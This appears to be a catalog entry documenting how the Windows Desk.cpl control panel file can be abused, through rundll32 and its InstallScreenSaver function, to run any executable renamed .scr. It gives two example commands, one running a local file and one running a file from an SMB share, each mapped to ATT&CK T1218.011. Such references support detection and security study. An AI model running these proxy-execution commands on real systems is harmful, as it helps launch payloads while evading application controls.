.. /Desk.cpl
Star

Execute

Desktop Settings Control Panel


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. Launch an executable with a .scr extension by calling the InstallScreenSaver function.

    rundll32.exe desk.cpl,InstallScreenSaver C:\temp\file.scr
    Use case
    Launch any executable payload, as long as it uses the .scr extension.
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.011

  2. Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.

    rundll32.exe desk.cpl,InstallScreenSaver \\127.0.0.1\c$\temp\file.scr
    Use case
    Launch any executable payload, as long as it uses the .scr extension.
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.011